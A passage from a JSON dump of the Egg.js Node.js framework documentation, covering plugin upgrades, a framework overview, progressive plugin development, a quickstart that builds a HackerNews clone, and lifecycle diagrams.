them together with async function could make source code more readable.\n\n## Plugin update\n\n`App developers` just need to update the upgraded plugins by `plugin developers`, or use `egg-bin autod` command we've prepared to quickly update.\n\nThe following content is for `plugin developers`, it shows how to update the plugins:\n\n### Update precautions\n\n- Finish the upgrade items above.\n  - Replace all `generator function` with `async function`.\n  - Upgrade middlewares.\n- Interfaces compatibility (optional), see following.\n- Release a major version.\n\n### Interfaces compatibility\n\nIn some cases, the interface provided by `Plugin developers` supports both generator and async, normally it's wrapped by co.\n\n- In 2.x, we suggest `async-first` to get a better performance and clearer error stacks.\n- If necessary, please use [toAsyncFunction][app.toasyncfunction] and [toPromise][app.topromise] for compatibility.\n\nLike [egg-schedule] plugin, it supports generator or async to define the tasks in application level.\n\n```js\n// {app_root}/app/schedule/cleandb.js\nexports.task = function* (ctx) {\n  yield ctx.service.db.clean();\n};\n\n// {app_root}/app/schedule/log.js\nexports.task = async function splitLog(ctx) {\n  await ctx.service.log.split();\n};\n```\n\n`Plugin developers` could simply wrap the following raw function:\n\n```js\n// https://github.com/eggjs/egg-schedule/blob/80252ef/lib/load_schedule.js#L38\ntask = app.toAsyncFunction(schedule.task);\n```\n\n### Rules of Plugin release\n\n- **Major version releasement**\n  - All the APIs are promise based, and there's no `async` in source code. e.g. [egg-view-nunjucks]\n- Modify `package.json`\n  - Change `egg` in `devDependencies` to `^2.0.0`.\n  - Change `engines.node` to `>=8.0.0`.\n  - Change `ci.version` to `8, 9`, reinstall dependencies to generate new travis config files.\n- Update examples in `README.md` with async function.\n- Write instructions for upgrade.\n- (optional) Change `test/fixtures` to async function, and it's recommended to create a PR for code preview.\n\nIn case the previous versions still requires maintenance:\n\n- Create a new branch which based on previous `1.x` version.\n- Change the `publishConfig.tag` property in `package.json` to `release-1.x` in previous version.\n- If the previous version has new Bugfix, tag it as `release-1.x` when publishing, so users may use `npm i egg-xx@release-1` to import the old version.\n- See [npm documentations](https://docs.npmjs.com/cli/dist-tag).\n\n[co]: https://github.com/tj/co\n[egg-schedule]: https://github.com/eggjs/egg-schedule\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[app.toasyncfunction]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344\n[app.topromise]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353\n"
  },
  {
    "path": "site/docs/intro/overview.md",
    "content": "# What is Egg?\n\n**Egg is born for building enterprise application and framework**，we hope Egg will give birth to more application framework to help developers and developing teams reduce development and maintenance costs.\n\n## Design principles\n\nSince we know well that enterprise applications need to consider how to balance the differences between different teams, seeking common ground while reserving differences in the pursuit of clarifying specification and cooperation, we focus on providing core features for Web development and a flexible and extensible plugin mechanism instead of giant bazaar mode which is popular in common Web frameworks (with integrated such as database, template engine, front-end framework and other functions). We will not make a technical selection because default technical selection makes the scalability of the framework too poor to meet a variety of custom requirements. With the help of Egg, it is very easy for architects and technical leaders to build their own framework which is suitable for their business scenarios based on the existing technology stack .\n\nThe plugin mechanism of Egg is very extensible, **one purpose for one plugin**(Eg: [Nunjucks] is encapsulated into [egg-view-nunjucks](https://github.com/eggjs/egg-view-nunjucks), and MySQL is encapsulated into [egg-mysql](https://github.com/eggjs/egg-mysql)). Aggregating the plugins and customizing the configurations according to their own business scenarios greatly reduces the development cost.\n\nEgg is a convention-over-configuration framework, follows the [Loader](../advanced/loader.md) to do the development, it helps to reduce the cost of learning. Developers no longer work as 'nails'. The cost of communication is very high for a team without convention. It is easy to get fault without convention. However convention is not equal to difficult extension, instead, Egg does well in extension part, you can build your own framework according to team convention. [Loader](../advanced/loader.md) can help load different default configuration in a different environment, Egg default convention can also be covered by your own.\n\n## Differences Between Community Framework\n\n[Express] is well used in the Node.js community, it is easy and extensible, fits personal projects a lot. However, without default convention, the standard mvc model has lots of strange impl which would lead to misunderstandings. Egg's teamwork cost is really low by following convention convention-over-configuration.\n\n[Sails] is a framework that also follows convention-over-configuration,it does well in extensible work. Compared with Egg, [Sails] supports blueprint REST API, [WaterLine] , Frontend integration, WebSocket and so on, all of these are provided by [Sails]. Egg does not provide these functions, it only has the integration of different functional extensions, such as egg-blueprint, egg-waterline, if you use sails-egg to integrate these extensions, [Sails] can be replaced.\n\n## Features\n\n- Provide capability to [customized framework](../advanced/framework.md) base on Egg\n- Highly extensible [plugin mechanism](../basics/plugin.md)\n- Built-in [cluster](../advanced/cluster-client.md)\n- Based on [Koa] with high performance\n- Stable core framework with high test coverage\n- [Progressive development](../intro/progressive.md)\n\n[sails]: http://sailsjs.com\n[express]: http://expressjs.com\n[koa]: http://koajs.com\n[nunjucks]: https://mozilla.github.io/nunjucks\n[waterline]: https://github.com/balderdashy/waterline\n"
  },
  {
    "path": "site/docs/intro/progressive.md",
    "content": "# Progressive Development\n\nEgg provides both [Plugin](../basics/plugin.md) and [Framework](../advanced/framework.md), and the former has two loading modes which are `path` and `package`. Then how should we choose?\n\nStep-by-step example will be provided to demonstrate how to start coding development progressively.\n\nFind detail codes on [eggjs/examples/progressive](https://github.com/eggjs/examples/tree/master/progressive).\n\n## Getting Started\n\nAssume that we are writing a code to analyze UA to implement the function below:\n\n- `ctx.isAndroid`\n- `ctx.isIOS`\n\nYou can easily write it down after previous tutorials, let's have a quick review:\n\nCodes refer to [step1](https://github.com/eggjs/examples/tree/master/progressive/step1).\n\nDirectory structure:\n\n```bash\nexample-app\n├── app\n│   ├── extend\n│   │   └── context.js\n│   └── router.js\n├── test\n│   └── index.test.js\n└── package.json\n```\n\nCore code:\n\n```js\n// app/extend/context.js\nmodule.exports = {\n  get isIOS() {\n    const iosReg = /iphone|ipad|ipod/i;\n    return iosReg.test(this.get('user-agent'));\n  },\n};\n```\n\n## Prototype of Plugin\n\nObviously, the logic is universal that can be written as a plugin.\n\nBut since function might not be perfect at the beginning, it might be difficult to maintain if encapsulated into a plugin directly.\n\nWe can write the code as the format of plugin, but not separate out.\n\nCodes refer to [step2](https://github.com/eggjs/examples/tree/master/progressive/step2).\n\nNew directory structure:\n\n```bash\nexample-app\n├── app\n│   └── router.js\n├── config\n│   └── plugin.js\n├── lib\n│   └── plugin\n│       └── egg-ua\n│           ├── app\n│           │   └── extend\n│           │       └── context.js\n│           └── package.json\n├── test\n│   └── index.test.js\n└── package.json\n```\n\nCore code:\n\n- `app/extend/context.js` move to `lib/plugin/egg-ua/app/extend/context.js`.\n\n- `lib/plugin/egg-ua/package.json` declares plugin.\n\n```json\n{\n  \"eggPlugin\": {\n    \"name\": \"ua\"\n  }\n}\n```\n\n- `config/plugin.js` uses `path` to mount the plugin.\n\n```js\n// config/plugin.js\nconst path = require('path');\nexports.ua = {\n  enable: true,\n  path: path.join(__dirname, '../lib/plugin/egg-ua'),\n};\n```\n\n## Extract to Independent Plugin\n\nThe functions of module become better after a period of developing so we could extract it out as an independent plugin.\n\nWe extract an egg-ua plugin and have a quick review as below. Details refer to [Plugin Development](../advanced/plugin.md).\n\nDirectory structure:\n\n```bash\negg-ua\n├── app\n│   └── extend\n│       └── context.js\n├── test\n│   ├── fixtures\n│   │   └── test-app\n│   │       ├── app\n│   │       │   └── router.js\n│   │       └── package.json\n│   └── ua.test.js\n└── package.json\n```\n\nCodes refer to [step3/egg-ua](https://github.com/eggjs/examples/tree/master/progressive/step3/egg-ua).\n\nThen modify the application, details refer to [step3/example-app](https://github.com/eggjs/examples/tree/master/progressive/step3/example-app).\n\n- Remove directory `lib/plugin/egg-ua`.\n- Declare dependencies `egg-ua` in `package.json`.\n- Change type to `package` in `config/plugin.js`.\n\n```js\n// config/plugin.js\nexports.ua = {\n  enable: true,\n  package: 'egg-ua',\n};\n```\n\n**Note：We can use `npm link` for local test before releasing the plugin. Details refer to [npm-link](https://docs.npmjs.com/cli/link).**\n\n```bash\n$ cd example-app\n$ npm link ../egg-ua\n$ npm i\n$ npm test\n```\n\n## Finally: A Framework\n\nAfter repeating the process above, we accumulate a few plugins and configurations, and might find that most of our team projects are using them.\n\nAt that time, you can consider abstracting them as a framework which is suitable for business scenarios.\n\nFirstly, abstract the example-framework as below. Let's have a quick review, details refer to [Framework](../advanced/framework.md).\n\nDirectory structure:\n\n```bash\nexample-framework\n├── config\n│   ├── config.default.js\n│   └── plugin.js\n├── lib\n│   ├── agent.js\n│   └── application.js\n├── test\n│   ├── fixtures\n│   │   └── test-app\n│   └── framework.test.j.\n├── README.md\n├── index.js\n└── package.json\n```\n\n- Codes refer to [example-framework](https://github.com/eggjs/examples/tree/master/progressive/step4/example-framework).\n- Remove the dependencies of plugins such as `egg-ua` and remove it from example-app, then configure them into the `package.json` and `config/plugin.js` of the framework.\n\nThen modify the application, details refer to [step4/example-app](https://github.com/eggjs/examples/tree/master/progressive/step4/example-app).\n\n- Remove `egg-ua` in `config/plugin.js`.\n- Remove `egg-ua` in `package.json`.\n- declare `example-framework` in `package.json` and configure the `egg.framework`.\n\n```json\n{\n  \"name\": \"progressive\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"egg\": {\n    \"framework\": \"example-framework\"\n  },\n  \"dependencies\": {\n    \"example-framework\": \"*\"\n  }\n}\n```\n\n**Note：We can use `npm link` for local test before releasing the framework [npm-link](https://docs.npmjs.com/cli/link).**\n\n```bash\n$ cd example-app\n$ npm link ../egg-framework\n$ npm i\n$ npm test\n```\n\n## In the End\n\nIn conclusion, we can see how to make the framework evolution step by step which benefits from Egg's powerful plugin mechanism, code co-build, reusability and modularity.\n\n- In general, put codes into `lib/plugin` if they can be reused in the application.\n- Separate it into a `node module` when plugin becomes stable.\n- Application with relatively reusable codes will work as a separate plugin.\n- Abstract it as framework to release after application become certain solutions of specified business scenario.\n- It would be a great improvement in the efficiency of teamwork after plugins were extracted, modularized and finally became a framework, because other projects could reuse codes by just using `npm install`.\n\n- **Note：Whether it's the application/plugin/framework, unittest is necessary and try to reach 100% coverage**\n"
  },
  {
    "path": "site/docs/intro/quickstart.md",
    "content": "# Quick Start\n\nThis guide covers getting up and running a real example using Egg.\nBy following along with this guide step by step, you can quickly get started with Egg development.\n\n## Prerequisites\n\n- Operating System: Linux, OS X or Windows.\n- Node.js Runtime: 8.x or newer; it is recommended that you use [LTS Releases][node.js].\n\n## The Quick Way\n\nTo begin with, let's quickly initialize the project by using a scaffold,\nwhich will quickly generate some of the major pieces of the application (`npm >=6.1.0`).\n\n```bash\nmkdir egg-example && cd egg-example\nnpm init egg --type=simple\nnpm i\n```\n\nThen get up and run by using the following commands.\n\n```bash\nnpm run dev\nopen http://localhost:7001\n```\n\n## Step by Step\n\nUsually you can just use `npm init egg` of the previous section,\nchoose a scaffold that best fits your business model and quickly generate a project,\nthen get started with the development.\n\nHowever, in this section, instead of using scaffolds we will build a project called [Egg HackerNews](https://github.com/eggjs/examples/tree/master/hackernews) step by step, for a better understanding of how it works.\n\n![Egg HackerNews Snapshoot](https://cloud.githubusercontent.com/assets/227713/22960991/812999bc-f37d-11e6-8bd5-a96ca37d0ff2.png)\n\n### Initialization\n\nFirst let's create the project directory and initialize its structure.\n\n```bash\nmkdir egg-example\ncd egg-example\nnpm init\nnpm i egg --save\nnpm i egg-bin --save-dev\n```\n\nThen add `npm scripts` to `package.json`.\n\n```json\n{\n  \"name\": \"egg-example\",\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  }\n}\n```\n\n### Create a Controller\n\nIf you are familiar with the MVC architecture,\nyou might have already guessed that the first thing to create\nis a [controller](../basics/controller.md) and [router](../basics/router.md).\n\n```js\n// app/controller/home.js\nconst Controller = require('egg').Controller;\n\nclass HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'Hello world';\n  }\n}\n\nmodule.exports = HomeController;\n```\n\nThen edit the router file and add a mapping.\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n```\n\nThen add a [configuration](../basics/config.md) file:\n\n```js\n// config/config.default.js\nexports.keys = <YOUR_SECURITY_COOKIE_KEYS>;\n```\n\nThe project directory looks like this:\n\n```bash\negg-example\n├── app\n│   ├── controller\n│   │   └── home.js\n│   └── router.js\n├── config\n│   └── config.default.js\n└── package.json\n```\n\nFor more information about directory structure, see [Directory Structure](../basics/structure.md).\n\nNow you can start up the Web Server and see your application in action.\n\n```bash\nnpm run dev\nopen http://localhost:7001\n```\n\n> Note：\n>\n> - You could write `Controller` with `class` or `exports` style, see more detail at [Controller](../basics/controller.md).\n> - And `Config` could write with `module.exports` or `exports` style, see more detail at [Node.js modules docs](https://nodejs.org/api/modules.html#modules_exports_shortcut).\n\n### Adding Static Assets\n\nEgg has a built-in plugin called [static][@eggjs/static].\nIn production, it is recommended that you deploy static assets to CDN instead of using this plugin.\n\n[static][@eggjs/static] maps `/public/*` to the directory `app/public/*` by default.\n\nIn this case, we just need to put our static assets into the directory `app/public`.\n\n```bash\napp/public\n├── css\n│   └── news.css\n└── js\n    ├── lib.js\n    └── news.js\n```\n\n### Adding Templates for Rendering\n\nIn most cases, data are usually read, processed and rendered by the templates before being presented to the user.\nThus we need to introduce corresponding template engines to handle it.\n\nEgg does not force to use any particular template engines,\nbut specifies the [View Plugins Specification](../advanced/view-plugin.md)\nto allow the developers to use different plugins for their individual needs instead.\n\nFor more information, cf. [View](../core/view.md).\n\nIn this example, we will use [Nunjucks].\n\nFirst install the corresponding plugin [egg-view-nunjucks].\n\n```bash\nnpm i egg-view-nunjucks --save\n```\n\nAnd enable it.\n\n```js\n// config/plugin.js\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n```\n\n```js\n// config/config.default.js\nexports.keys = <YOUR_SECURITY_COOKE_KEYS>;\n// add view's configurations\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n  mapping: {\n    '.tpl': 'nunjucks',\n  },\n};\n```\n\n**Carefully! `config` dir, not `app/config`!**\n\nThen create a template for the index page.\nThis usually goes to the app/view directory.\n\n```html\n<!-- app/view/news/list.tpl -->\n<html>\n  <head>\n    <title>Egg HackerNews Clone</title>\n    <link rel=\"stylesheet\" href=\"/public/css/news.css\" />\n  </head>\n  <body>\n    <ul class=\"news-view view\">\n      {% for item in list %}\n      <li class=\"item\">\n        <a href=\"{{ item.url }}\">{{ item.title }}</a>\n      </li>\n      {% endfor %}\n    </ul>\n  </body>\n</html>\n```\n\nThen add a controller and router.\n\n```js\n// app/controller/news.js\nconst Controller = require('egg').Controller;\n\nclass NewsController extends Controller {\n  async list() {\n    const dataList = {\n      list: [\n        { id: 1, title: 'this is news 1', url: '/news/1' },\n        { id: 2, title: 'this is news 2', url: '/news/2' },\n      ],\n    };\n    await this.ctx.render('news/list.tpl', dataList);\n  }\n}\n\nmodule.exports = NewsController;\n\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n  router.get('/news', controller.news.list);\n};\n```\n\nOpen a browser window and navigate to <http://localhost:7001/news>.\nYou should be able to see the rendered page.\n\n**Tip：In development, Egg enables the [development][@eggjs/development] plugin by default, which reloads your worker process when changes are made to your back-end code.**\n\n### Create a Service\n\nIn practice, controllers usually won't generate data on their own,\nneither will they contain complicated business logic.\nComplicated business logic should be abstracted as\na busineess logic layer instead, i.e., [service](../basics/service.md).\n\nLet's create a service to fetch data from the\n[HackerNews](https://github.com/HackerNews/API).\n\n```js\n// app/service/news.js\nconst Service = require('egg').Service;\n\nclass NewsService extends Service {\n  async list(page = 1) {\n    // read config\n    const { serverUrl, pageSize } = this.config.news;\n\n    // use build-in http client to GET hacker-news api\n    const { data: idList } = await this.ctx.curl(\n      `${serverUrl}/topstories.json`,\n      {\n        data: {\n          orderBy: '\"$key\"',\n          startAt: `\"${pageSize * (page - 1)}\"`,\n          endAt: `\"${pageSize * page - 1}\"`,\n        },\n        dataType: 'json',\n      },\n    );\n\n    // parallel GET detail\n    const newsList = await Promise.all(\n      Object.keys(idList).map(async (key) => {\n        const url = `${serverUrl}/item/${idList[key]}.json`;\n        return await this.ctx.curl(url, { dataType: 'json' });\n      }),\n    );\n    return newsList.map((res) => res.data);\n  }\n}\n\nmodule.exports = NewsService;\n```\n\n> Egg has [HttpClient](../core/httpclient.md) built in in order to help you make HTTP requests.\n\nThen slightly modify our previous controller.\n\n```js\n// app/controller/news.js\nconst Controller = require('egg').Controller;\n\nclass NewsController extends Controller {\n  async list() {\n    const ctx = this.ctx;\n    const page = ctx.query.page || 1;\n    const newsList = await ctx.service.news.list(page);\n    await ctx.render('news/list.tpl', { list: newsList });\n  }\n}\n\nmodule.exports = NewsController;\n```\n\nAnd also add config.\n\n```js\n// config/config.default.js\n// add news' configurations\nexports.news = {\n  pageSize: 5,\n  serverUrl: 'https://hacker-news.firebaseio.com/v0',\n};\n```\n\n### Adding Extensions\n\nWe might encounter a small problem here.\nThe time that we fetched are Unix Time format,\nwhereas we want to present them in a more friendly way to read.\n\nEgg provides us with a quick way to extend its functionalities.\nWe just need to add extension scripts to the `app/extend` directory.\nFor more information, cf. [Extensions](../basics/extend.md).\n\nIn the case of view, we can just write a helper as an extension.\n\n```bash\nnpm i moment --save\n```\n\n```js\n// app/extend/helper.js\nconst moment = require('moment');\nexports.relativeTime = (time) => moment(new Date(time * 1000)).fromNow();\n```\n\nThen use it in the templates.\n\n```html\n<!-- app/view/news/list.tpl -->\n{{ helper.relativeTime(item.time) }}\n```\n\n### Adding Middlewares\n\nSuppose that we wanted to prohibit accesses from Baidu crawlers.\n\nSmart developers might quickly guess that we can achieve it by adding a [middleware](../basics/middleware.md)\nthat checks the User-Agent.\n\n```js\n// app/middleware/robot.js\n// options === app.config.robot\nmodule.exports = (options, app) => {\n  return async function robotMiddleware(ctx, next) {\n    const source = ctx.get('user-agent') || '';\n    const match = options.ua.some((ua) => ua.test(source));\n    if (match) {\n      ctx.status = 403;\n      ctx.message = 'Go away, robot.';\n    } else {\n      await next();\n    }\n  };\n};\n\n// config/config.default.js\n// add middleware robot\nexports.middleware = ['robot'];\n// robot's configurations\nexports.robot = {\n  ua: [/Baiduspider/i],\n};\n```\n\nNow try it using `curl localhost:7001/news -A \"Baiduspider\"`.\n\nSee [Middleware](../basics/middleware.md) for more details.\n\n### Adding Configurations\n\nWhen writing business logic,\nit is inevitable that we need to manage configurations.\nEgg provides a powerful way to manage them in a merged configuration file.\n\n- Environment-specific configuration files are well supported, e.g. config.local.js, config.prod.js, etc.\n- Configurations could be set wherever convenient for Applications/Plugins/Frameworks, and Egg will be careful to merge and load them.\n- For more information on merging, see [Configurations](../basics/config.md).\n\n```js\n// config/config.default.js\nexports.robot = {\n  ua: [/curl/i, /Baiduspider/i],\n};\n\n// config/config.local.js\n// only read at development mode, will override default\nexports.robot = {\n  ua: [/Baiduspider/i],\n};\n\n// app/service/some.js\nconst Service = require('egg').Service;\n\nclass SomeService extends Service {\n  async list() {\n    const rule = this.config.robot.ua;\n  }\n}\n\nmodule.exports = SomeService;\n```\n\n### Adding Unit Testing\n\nUnit Testing is very important, and Egg also provides [egg-bin] to help you write tests painless.\n\nAll the test files should be placed at `{app_root}/test/**/*.test.js`.\n\n```js\n// test/app/middleware/robot.test.js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/middleware/robot.test.js', () => {\n  it('should block robot', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('User-Agent', 'Baiduspider')\n      .expect(403);\n  });\n});\n```\n\nThen add `npm scripts`.\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\",\n    \"cov\": \"egg-bin cov\"\n  }\n}\n```\n\nAlso install dependencies.\n\n```bash\nnpm i egg-mock --save-dev\n```\n\nRun it.\n\n```bash\nnpm test\n```\n\nThat is all of it, for more detail, see [Unit Testing](../core/unittest.md).\n\n## Conclusions\n\nWe can only touch the tip of the iceberg of Egg with the above short sections.\nWhere to go from here? read our documentation to better understand the framework.\n\n- About Egg boilerplate type, See [Boilerplate Type Description](../tutorials/).\n- Egg provides a powerful mechanism for extending features. See [Plugin](../basics/plugin.md).\n- Egg framework allows small or large teams to work together as fast as possible under the well-documented conventions and coding best practices. In addition, the teams can build up logics on top of the framework to better suit their special needs. See more on [Frameworks](../advanced/framework.md).\n- Egg framework provides code reusabilities and modularities. See details at [Progressive](../intro/progressive.md).\n- Egg framework enables developers to write painless unit testing with many plugins and community-powered toolings. The team should give it a try by using Egg unit testing without worrying about setting up the testing tooling but writing the testing logics. See [Unit Testing](../core/unittest.md).\n\n[node.js]: http://nodejs.org\n[egg-bin]: https://github.com/eggjs/egg-bin\n[@eggjs/static]: https://github.com/eggjs/static\n[@eggjs/development]: https://github.com/eggjs/development\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[nunjucks]: https://mozilla.github.io/nunjucks/\n"
  },
  {
    "path": "site/docs/public/assets/lifecycle_cn.puml",
    "content": "@startuml\nstart\n: start master;\npartition agent {\n  : fork agent worker;\n  : load plugin.js, config.js, extends;\n  : load agent.js;\n  note right\n    类模式\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    方法模式\n    beforeStart(deprecate)\n  end note\n  fork\n  : configWillLoad;\n  note left\n   准备调用 configDidLoad\n   这是动态修改配置的最后时机。\n  end note\n  : configDidLoad;\n  note left\n    相关配置项已经全部加载，\n    与 agent.js 里的同步逻辑相同，执行顺序也相同\n    可以执行一些同步逻辑。\n  end note\n  : async didLoad;\n  note left\n    文件, 配置已经加载完毕,\n    可以执行一些异步任务,\n    比如异步拉取配置来加载client,\n    或者检查client状态是否正常\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      beforeStart注册的任务\n      在此时同时并行执行\n    end note\n  endfork\n  : async willReady;\n  note left\n    插件已经完全加载完毕,\n    所有的插件可以正常的使用,\n    执行一些流量进入前的任务,\n    比如拉取应用所需的一些配置\n  end note\n  : async didReady;\n  note right\n    agent进程已经准备完毕,\n    可以正常工作\n    ====\n    时间点与原来的ready相同,\n    原来的ready不支持AsyncFunction\n  end note\n  : emit 'agent-start';\n}\npartition app {\n  : start app workers;\n  : load plugin.js, config.js, extends;\n  : load app.js;\n  note right\n    类模式\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    方法模式\n    beforeStart(deprecate)\n  end note\n  fork\n    : configWillLoad;\n    note left\n      准备调用 configDidLoad\n      这是动态修改配置的最后时机。\n    end note\n    : configDidLoad;\n    note left\n      相关配置项已经全部加载，\n      与 app.js 里的同步逻辑相同，执行顺序也相同\n      可以修改一些配置，修改中间件的顺序\n    end note\n    : load app/service;\n    : load app/middleware;\n    : load app/controller;\n    : load app/router.js;\n    : async DidLoad;\n  note left\n    文件, 配置已经加载完毕,\n    可以执行一些异步任务,\n    比如异步拉取配置来加载client,\n    或者检查client状态是否正常\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      beforeStart注册的任务\n      在此时同时并行执行\n    end note\n  end fork\n    : async WillReady;\n  note left\n    插件已经完全加载完毕,\n    所有的插件可以正常的使用,\n    执行一些流量进入前的任务,\n    比如拉取应用所需的一些配置\n  end note\n  : async DidReady;\n  note right\n    app进程已经准备完毕,\n    HTTP server开始监听端口,\n    ====\n    时间点与原来的ready相同,\n    原来的ready不支持AsyncFunction\n  end note\n  : emit 'app-start';\n}\n: emit 'egg-ready';\n: async serverDidReady;\nnote right\n  agent进程和所有的app进程已经准备完毕,\n  可以放入流量,\nend note\n: master receive SIGTERM;\nfork\n: agent beforeClose;\nfork again\n: app beforeClose;\nnote right\n  以插入顺序逆序同步执行,\n  生产环境中不建议使用,\n  可能在进程结束前没有执行完成\nend note\nendfork\nstop\n@enduml\n"
  },
  {
    "path": "site/docs/public/assets/lifecycle_en.puml",
    "content": "@startuml\nstart\n: start master;\npartition agent {\n  : fork agent worker;\n  : load plugin.js, config.js, extends;\n  : load agent.js;\n  note right\n    class mode\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    method mode\n    beforeStart(deprecate)\n  end note\n  fork\n  : configWillLoad;\n  note left\n    Ready to call configDidLoad,\n    This is the LAST chance to modify the relative configs\n  end note\n  : configDidLoad;\n  note left\n    All the files are loaded,\n    To execute some sync logic\n  end note\n  : async didLoad;\n  note left\n    Files and configs are loaded\n    The same sync logic and execution sequence as in app.js,\n    To execute some async tasks\n    E.g: Pull configs in async to load client,\n    or check the state of client\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      Tasks mounted on beforeStart\n      Running in parallel at this time\n    end note\n  endfork\n  : async willReady;\n  note left\n    All the plugins are loaded,\n    All the plugins are normal,\n    To execute some tasks before request enters,\n    E.g: Pull some configs for applications\n  end note\n  : async didReady;\n  note right\n    agent is ready,\n    and it can work normally\n    ====\n    The time is the same as 'ready',\n    The original 'ready' doesn't support AsyncFunction\n  end note\n  : emit 'agent-start';\n}\npartition app {\n  : start app workers;\n  : load plugin.js, config.js, extends;\n  : load app.js;\n  note right\n    class mode\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    method mode\n    beforeStart(deprecate)\n  end note\n  fork\n    : configWillLoad;\n    note left\n    Ready to call configDidLoad,\n    This is the LAST chance to modify the related configs\n    end note\n    : configDidLoad;\n    note left\n      All the related config files have been loaded,\n      The same sync logic and execution sequence as in app.js,\n      Some configs can be modified, the order of middlewares\n    end note\n    : load app/service;\n    : load app/middleware;\n    : load app/controller;\n    : load app/router.js;\n    : async DidLoad;\n  note left\n    Files and configs are loaded\n    To execute some async tasks\n    E.g: Pull configs in async to load client,\n    or check the state of client\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      Tasks mounted on beforeStart\n      Running in parallel at this time\n    end note\n  end fork\n    : async WillReady;\n  note left\n    All the plugins are loaded,\n    All the plugins are normal,\n    To execute some tasks before request enters,\n    E.g: Pull some configs for applications\n  end note\n  : async DidReady;\n  note right\n    app is ready\n    HTTP server starts listening at the port\n    ====\n    The time is the same as 'ready',\n    The original 'ready' doesn't support AsyncFunction\n  end note\n  : emit 'app-start';\n}\n: emit 'egg-ready';\n: async serverDidReady;\nnote right\n  agent and all the apps are ready\n  requests are allowed\nend note\n: master receive SIGTERM;\nfork\n: agent beforeClose;\nfork again\n: app beforeClose;\nnote right\n  To execute in a reversed order against the inserting\n  DO NOT recommend in PROD env,\n  May not finish before the process ends\nend note\nendfork\nstop\n@enduml\n"
  },
  {
    "path": "site/docs/tutorials/assets.md",
    "content": "---\ntitle: Assets\n---\n\nthis document is still waiting for translation, see [Chinese Version](/zh-CN/tutorials/assets)\n"
  },
  {
    "path": "site/docs/tutorials/index.md",
    "content": "---\ntitle: Tutorials\nnav:\n  title: Tutorials\n  order: 2\n---\n\n- [Quick Start](../intro/quickstart.md)\n- [Progressive Development](../intro/progressive.md)\n- [RESTful API](./restful.md)\n\n## Boilerplate Type Description\n\nYou can use boilerplate type like this:\n\n```bash\n$ npm init egg --type=simple\n```\n\n### Options\n\n| boilerplate type |                Description |\n| :--------------: | -------------------------: |\n|      simple      | Simple egg app boilerplate |\n|      empty       |  Empty egg app boilerplate |\n|      plugin      |     egg plugin boilerplate |\n|    framework     |  egg framework boilerplate |\n\n## Template Engines\n\nBuild in [@eggjs/view] as template engine solution and support multiple render, which is called by plugin but keeping the consistent render API. Refer to [how to use templates](../core/view.md)，More details on [template plugin development](../advanced/view-plugin.md).\n\nTemplate engines available as shown below. For more template engines [searching](https://github.com/search?utf8=%E2%9C%93&q=topic%3Aegg-view&type=Repositories&ref=searchresults)\n\n- [egg-view-nunjucks]\n- [egg-view-ejs]\n- [egg-view-handlebars]\n- [egg-view-pug]\n- [egg-view-xtpl]\n\n## Databases\n\nOfficial maintained ORM model is [egg-orm] base on [Leoric], and the following database plugins are currently available:\n\n- [egg-orm]\n- [egg-sequelize]\n- [egg-mongoose]\n- [egg-mysql]，refer to [MySQL tutorials](./mysql.md)\n- [@eggjs/redis]，refer to [Redis tutorials](./redis.md)\n- [egg-graphql]\n\n[egg-sequelize]: https://github.com/eggjs/egg-sequelize\n[egg-mongoose]: https://github.com/eggjs/egg-mongoose\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n[@eggjs/view]: https://github.com/eggjs/egg/blob/master/plugins/view/README.md\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs\n[egg-view-handlebars]: https://github.com/eggjs/egg-view-handlebars\n[egg-view-pug]: https://github.com/chrisyip/egg-view-pug\n[egg-view-xtpl]: https://github.com/eggjs/egg-view-xtpl\n[egg-orm]: https://github.com/eggjs/egg-orm/blob/master/Readme.md\n[Leoric]: https://leoric.js.org\n[@eggjs/redis]: https://github.com/eggjs/egg/tree/next/plugins/redis\n"
  },
  {
    "path": "site/docs/tutorials/mysql.md",
